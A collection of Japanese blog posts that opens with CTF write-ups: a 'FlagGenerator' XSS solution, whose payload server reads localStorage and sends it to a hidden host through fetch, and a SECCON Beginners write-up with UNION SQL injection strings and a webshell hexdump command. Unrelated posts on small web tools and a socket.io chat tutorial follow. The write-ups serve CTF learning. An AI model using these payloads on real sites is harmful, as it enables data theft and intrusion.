OJICON 2019 Online CTF write-up (FlagGenerator)
まえがき
この記事は、SLP KBIT Advent Calendar 2019 の4日目の記事です。
また、この記事はフィクションです。実在の人物や団体などとは関係ありません。
はじめに
OJICON 2019 Online CTF お疲れさまでした。
私のチーム「鮭の皮だけ食べてい隊」は4人チームで、
結果は18446744073709551615Ptで32767位でした。(去年より人数増えたのかな?)
去年は16384位なので下がってますね(爆)
難問だった「Chicken Crisp Shop」や「I use heavy artillery」は他の人がWriteUPをあげているので、
私は比較的シンプルな問題であった「FlagGenerator」の解説をします。
FlagGenerator (Web 46744000000000000Pt)
問題
出題者は、誰にも予想されないCTFのFLAGを生成するため、自作のFlag生成器を作りました。 せっかくなのでCTFを作りたいみんなのために公開します。 不具合があった場合はすぐに確認します。 この問題では、FLAG生成に使用したキーが答えになります。
WriteUp
まず、問題文とアプリケーションからわかることを簡単にまとめます。 - Webアプリケーション - 任意のキーを入力すると、謎の原理でFlagが生成される。 - 管理者に報告する機能がついており、閲覧される。 - キーは管理者のlocalStorageに保管される。
ココから、全体的な攻撃の方針を決めることができます。
目標
管理者のlocalStorageを取得する。
手法
管理者が閲覧することを利用し、反射型XSS攻撃を行う。
今回、盗むデータがlocalStorageなので、発生させるサイトは何でもいい、というわけには行きません。
localStorageは同一ドメイン内のみでアクセス可能であるためです。
そこで、アプリケーション内でXSS可能な場所を探します。
といっても、今回はページが2つしか存在しないのですぐに見つかります。
view.htmlはURLクエリパラメータを参照し、Ajax通信を行っています。
// view.htmlの一部 (async() => { let url = decodeURIComponent(location.search.split('?key=')[1]); let { key, flag } = await $.getJSON(url); $('#key').text(key); $('#flag').val(flag); })();
$.getJSONにはJSONPに対応するために「callback=?」のようなパラメータを付与したURLを渡すと、
scriptタグとして実行してくれる機能があります。
これで材料は揃いました。次のようなURLを/reportに送ることで、任意のスクリプトを実行させることができます。
[]内はURIEncodeしてください /api/report?url=[http://flaggenerator.m2company.work/view.html?key=[任意のスクリプトへのURL?callback=?]]
図解すると次のようになります。 管理人がこのオムライスを食べるわけです。
任意のスクリプトはCORS可能で有ることが要求されます。私は以下のコードを用意しました。
const Express = require('express'); const app = Express(); const Port = ひみつ; app.get('/code', (req, res, next) => { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); res.send(` (async()=>{ let data = localStorage.getItem('flags'); await fetch('http://ないしょ/log?data='+encodeURIComponent(data)); })(); `) }) app.get('/log', (req, res, next) => { console.log(req.query); }) app.listen(Port);
サーバを起動し、こんな感じにDevToolConsoleで実行してあげれば、localStorageを獲得できます。
await fetch('/api/report?url='+encodeURIComponent('http://flaggenerator.m2company.work/view.html?key=' + encodeURIComponent('http://ひみつ/code?callback=?')))
今回は、キーが答えなので「0JiC0N_FLAG」で正答でした。
あとがき
あれ?こんな問題SECCONでもあったよね?たしかSP...
去年に比べてWeb系問題が増えた印象(というかpwnが減った?去年6問 今年4問)
記事を書いていたらオムライスが食べたくなったので、今度瓦町の「おなじみ」という洋食屋さんに行ってみようと思います。
洋食 おなじみ - 瓦町/洋食 [食べログ]
こないだ行ってきたんですが、オムライスは火金のみの提供で、ありつけませんでした。(下調べ大事ヨ)
しかしながら、タイムランチのミンチカツも美味しかったです。 ソースのコクが最高に好みでした。
瓦町周辺は昼食に適したお店がたくさんあっていいですね。
筆者のおすすめは、「支那そば 讃岐ロック」と「麺処 綿谷」です。
一度訪れてみてはいかがでしょうか。
美味しかったミンチカツ
Seccon Beginners CTF 2019 writeup
まえがき
ひきこもってくろうぃずやるつもりができなくなったのでさんかしたよ
どれぐらいがんばったか
1220Pt 84位でした。まあまあえらい
ときかた
[warmup] Ramen
「'」をsearchに投げるとエラーが出るので、SQLインジェクションができると予想
「1' UNION SELECT TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES -- 」とか投げてデータベース内の情報を読み取ると、flagというテーブルがあることがわかる。
最後に「1' UNION SELECT flag,NULL FROM flag -- 」を投げるとフラグが出てくるよ。
katsudon
base64っぽい文字列があるのでdecodeする。おわり。
[warmup] Seccompare
objdump -D seccompare
するとmain関数にそれっぽいmovbがいっぱいあるので、そのまま文字に直していけばおわり。
Leakage
とりあえずobjdump
4005ffで文字列の長さが34文字かチェックする。フラグの長さがわかる。
とりあえず適当にaを34文字入れて、プログラムの動きをgdbでみてみる。
convert関数の戻り値と、入力文字を比較している場所がある。(0x400643)
gdbで戻り値を確認する。
0x63、つまり「c」が出てくる。
set $rax=0x63
でRAXをその都度合わせつつ、最後の実行までフラグを抜き取る。
So Tired
base64->deflate->base64->deflate...になっている。 面倒なのでNodeJSでちょちょちのちょいする。
const fs = require('fs'); const zlib = require('zlib'); var decoded = fs.readFileSync('base64data','utf8'); decoded = new Buffer(decoded,'base64'); var inflated; try{ while(true){ inflated = zlib.inflateSync(decoded); console.log('Inflate OK'); decoded = new Buffer(inflated.toString('utf8'),'base64'); console.log('Decode OK'); } }catch(e){ console.log(e); console.log(inflated.toString('utf8')); console.log(decoded.toString('utf8')); }
Party
なにがパーティーだよ
outputは[(party:val)]の配列形式で記述されている。
val配列はparty配列にx=>f(x,coeff)を適用した値である。
coeffの1つ目の値は、常にsecretである。
つまり、
output[0] = (p , v) = (p , f(p,coeff) )
である。
f関数の実装は次のようになっている。
def f(x, coeff): y = 0 for i in range(len(coeff)): y += coeff[i] * pow(x, i) return y
読み解くと
f(x,coeff) = coeff[0] * x⁰ + coeff[1] * x¹ + coeff[2] * x² + coeff[3] * x³ + ... + coeff[N] * xⁿ
である。
これは、coeffを桁の値としたx進数の数値を作り出しているとも読み取れる。
ここで、coeff[0] = secret なので、f(p,coeff)をp進数としてみた時の1桁目の値がsecretになる。
N進数の1桁目はNで割った余りを求めればいいので、v % p を計算すればよい。
from Crypto.Util.number import long_to_bytes party = # いっぱい val = # たくさん val = val % party print(long_to_bytes(val))
[warmup] Welcome
若者のIRC離れ
containers
お手元のバイナリエディタで開くと、ところどころにPNGのヘッダがある。
それぞれで抜き出してやるとフラグが書いた画像が出てくる。
const fs = require('fs'); const bsplit = require('buffer-split'); var txt = fs.readFileSync('./container'); var arr = bsplit(txt,Buffer.from('PNG')) arr.map((d,i)=>{ fs.writeFileSync('./out/'+i+'.png',Buffer.concat([Buffer.from([0x89]),Buffer.from('PNG'),d])); })
Dump
fileコマンドで調べるとtcpdumpファイルだということがわかる。
WireSharkで開き、HTTPで絞りこむと、webshellというページにシェルコマンドを投げているのがわかる。
「hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag」というコマンドの応答を見ると、hexdumpした結果が返されている。
1Byteを8進数3桁で表しているので、気を付けながら複合していく。
const fs = require('fs'); var txt = fs.readFileSync('./hdump.txt','utf8'); // txt = `037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133 // 327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252` var line = txt.split('\n'); var arr = []; line.forEach(t=>{ t.split(' ').forEach(n=>{ arr.push(parseInt(n,8)); }) }) var buff = Buffer.from(arr) fs.writeFileSync('out',buff);
複合すると、gzip圧縮されたファイルができるので、解答する。
中の画像にフラグが書かれている。
Sliding puzzle
スライドパズルを解く問題、昔Wiiに画像からパズル作るゲームあったよね。
こんな便利なプログラムがあるのでありがたく使う。
const net = require('net'); const client = net.Socket(); const Grid = require('./app/js/models/grid'); const Solver = require('./app/js/models/solver'); const MessageQueue = []; var mesCallback = null; const ArrowNumber = { UP:0, RIGHT:1, DOWN:2, LEFT:3 } function mes(buff){ buff = buff.toString('utf8'); if(mesCallback){ mesCallback(buff); mesCallback = null; }else{ MessageQueue.push(buff); } } async function WaitMessage(){ if(MessageQueue.length){ return MessageQueue.pop(); }else{ return new Promise(r=>{ mesCallback = r; }) } } function parseGrid(text){ var arr = text.replace(/-|\s/g,'').replace(/\|\|/g,'|').split('|').map(Number); arr.pop(); arr.shift(); arr = arr.map(n=>n == 0 ? '' : n); return new Grid(arr, arr.findIndex(d=>d===''), ['',...[...Array(8).keys()].map(d=>d+1)]); } client.connect('24912','133.242.50.201',async ()=>{ client.on('data',mes); while(true){ var message = await WaitMessage(); console.log(message) var grid = parseGrid(message); var solver = new Solver(grid); console.log(grid) var solution = solver.solve(); var ret = solution.map(d=>ArrowNumber[d]).join(); console.log(ret) client.write(ret); } })
こういう目標がはっきりしてる問題は楽ぴぃ
あとがき
pwnはむり、むずい
バーコードゲーム「ほぼ10000円ショップ」
はじめに
この記事は SLP KBIT Advent Calendar 2018 - Qiita の9日目の記事です。 家が停電して遅れました。(言い訳)
バーコードを使って遊びたい!
WebWorkerがでてきてから、ウェブブラウザでできることが増えたので、 スマホのカメラとバーコードを使い、簡単なゲームを作りました。
仕様
バーコード読み取り部
serratus.github.io
特に設定せずにiOSのカメラでバーコードの読み取りができました。
文句なし
商品検索
JANコードから、Yahooの商品検索APIを利用して、商品価格を求めています。 developer.yahoo.co.jp
フローチャート
おわりに
たまにはGMVっぽいことをしてみました。 アニメーションとか他に工夫できるところがありますが、時間がないので妥協。
Promiseのサブクラス (マニアック)
動作イメージ
/* サブクラス「echoPromise」のクラス定義 new echoPromise(arg)をすると、3秒後にthenにargが帰ってくる */ (async function(){ console.log(await new echoPromise("にゃん")); })() // 3秒後ににゃんと表示したい
はじめは誰しもこんな感じの定義がしたいはず
class echoPromise extends Promise{ constructor(arg){ super(resolve=>{ setTimeout(()=>{ resolve(arg) },3000) }) } }
けれど、thenを呼ぶとみょーなエラーで蹴られてしまう resolve(arg)をラムダ式でラップしたり、this.resolveを書き換えたりいろいろやったけど動いたのは以下の構文のみ
class echoPromise extends Promise{ constructor(fn = function(resolve,reject){ setTimeout(()=>{ resolve(arg) },3000) },arg){ super((resolve,reject)=>{ return fn(resolve,reject) }) } } (async function(){ console.log(await new echoPromise(undefined,"にゃん")); })()
fnにあとから代入 -> だめ
引数の順番を変える -> だめ
Promiseというかnative codeを継承するのはやっぱりしないほうがいいですね
黒猫のウィズ、チェイン予想ツール「15Chain」を作ったよ
まえがき
初手は必ず相手より速く。--それはアシュタルの信条だ。
はじめに
1000チェイン積めばダメージ10倍だあああぁぁぁの精神でアホみたいにチェイン積みまくるので、
いま何チェインかダメージ量で大体予想するツールを作りました。
あと、今もっともナウいデプロイツール「now」を使ってみたかった
中身
WizToolsさんの「ダメージ計算式まとめ」を参考にしました。
damage = 0.5 × 攻撃力 × 攻撃倍率 × (1 + チェイン×0.01) × パネル補正 × 属性相性 × 補正値 × 乱数
より、チェインがわかってるときのダメージから大体の攻撃力を計算します。
次にチェインが不明の時の攻撃力を0チェインで計算して、チェインが確定しているときからの倍率でチェインを予想します。
終わりに
耐久こそ正義
ツイッター画像化サービス、ツイっちゃーを作ってみた
まえがき
猫に布団をとられる季節
はじめに
ツイッターのスレッド機能とかリプライ、あれ便利なんだけどいっぺんにみたいじゃん?
たまにメモ帳とかに張ってスクショ取ってる人いるけど、それじゃあ芸がない。
ということで、リプライとかを簡単におしゃれな感じに画像化してくれるサービスを作りました。
動作デモ
これが
こうなります
まあすてき
中身
node-webshotをつかっています。
github.com
ejsでHTMLを吐き出させて、パシャっとスクショ。
終わりに
バズらせたいんでガンガン使ってガンガンツイートしてくれぃ!
ソースここです。みないで;;
github.com
expressとsocket.ioを使った簡単なチャットアプリ
まえがき
こたつが欲しいです
はじめに
何番煎じかわかりませんが、expressの使い方を学ぶために簡単なチャットアプリを作りました。
作るべ
下準備
とりあえず、npmで必要なモジュールを入れます タイトルどおり、expressとsocket.ioを用意します。
npm init -y npm i express --save npm i socket.io --save
expressで供給するのは静的ファイルで十分なので、提供用のフォルダを用意します。
ここではpublicフォルダを作成し、その中にcss、jsフォルダを作ります。
┬index.js ├package.json └public/┬index.html ├css/─style.css └js/─easychatpress.js
こんな感じ
サーバ側(index.js)
だいたい
const path = require('path'); const express = require('express'); const app = express(); const http = require('http').Server(app); const io = require('socket.io')(http); const PORT = process.env.PORT || 3000; app.use('/',express.static(__dirname + '/public')); io.on('connection',socket=>{ socket.on('message',data=>{ console.log(`${data.user}:${data.text}`) io.emit('message',data)//ioでemitすることで接続者全員にブロードキャスト }) socket.on('userdisconnet',user=>{ console.log(`Disconnect User ${user}`); io.emit('userdisconnet',user); }) socket.on('username',user=>{ console.log(`Connect User ${user}`); io.emit('username',user); }) }) http.listen(PORT, () => { console.log(`listening on localhost:${PORT}`); });
publicフォルダを静的ファイルとして提供する。
app.use('/',express.static(__dirname + '/public'));
基本的にサーバから特別にemitすることはないので、各socketのイベントをブロードキャストする。
io.on('connection',socket=>{ socket.on('message',data=>{ console.log(`${data.user}:${data.text}`) io.emit('message',data)//ioでemitすることで接続者全員にブロードキャスト }) socket.on('userdisconnet',user=>{ console.log(`Disconnect User ${user}`); io.emit('userdisconnet',user); }) socket.on('username',user=>{ console.log(`Connect User ${user}`); io.emit('username',user); }) })
クライアントから接続されると、"connection"がioにemitされる。
このときに、各クライアントのsocketを取得できる。
あるユーザに対してDMのようなものを送るならば、このsocketにemitすればいい。
クライアント側(public/easychatpress.js)
長いので一部のみ
socket = io();
で、socket.ioを使った接続を開始する。
データの受信は
socket.on('イベント名',(受け取ったデータ)=>{});
送信は
socket.emit('イベント名',送るデータ);
で行うことができる。
完成品
お疲れ様でしたぁ~